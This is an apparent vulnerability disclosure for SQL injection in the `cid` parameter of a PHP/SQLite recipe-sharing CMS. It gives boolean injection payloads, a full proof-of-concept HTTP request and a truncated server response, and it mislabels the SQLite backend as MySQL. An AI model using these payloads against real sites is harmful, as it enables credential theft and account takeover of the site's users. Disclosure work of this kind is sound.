https://www.sourcecodester.com/php/14964/try-my-recipe-recipe-sharing-website-cms-php-and-sqlite-free-source-code.html
## [CVE-nu11-17-092921](https://www.sourcecodester.com/php/14964/try-my-recipe-recipe-sharing-website-cms-php-and-sqlite-free-source-code.html)
## [Vendor](https://www.sourcecodester.com/users/tips23)
![](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-17-092921/docs/view_recipe_content.png)
## MySQL Vulnerability Description:
The `cid` parameter appears on Recipe Sharing Website - CMS
(by:oretnom23) to be vulnerable to SQL injection attacks. The payloads
12345678' or '7775'='7775 and 77335599' or '5533'='5577 were each
submitted in the `cid` parameter. These two requests resulted in
different responses, indicating that the input is being incorporated
into a SQL query in an unsafe way.
The attacker can dump information about users and their passwords.
Then he can take control of their accounts.
- MySQL Request:
```cmd
GET /recipe_site/?page=recipe&cid=12345678'%20or%20'7775'%3d'7775 HTTP/1.1
Host: 192.168.1.180
Cookie: PHPSESSID=v4f40h5nvo41f7t5j0jg8f7pvd
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.180/recipe_site/
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36
Connection: close
Cache-Control: max-age=0
```
- MySQL Response:
```cmd
HTTP/1.1 200 OK
Date: Wed, 29 Sep 2021 07:50:44 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13306
Warning: SQLite3::exec(): database is locked in
C:\xampp\htdocs\recipe_site\DBConnection.php on line
76
Warning: SQLite3::exec(): database is locked i
...[SNIP]...
...[SNIP]...
...[SNIP]...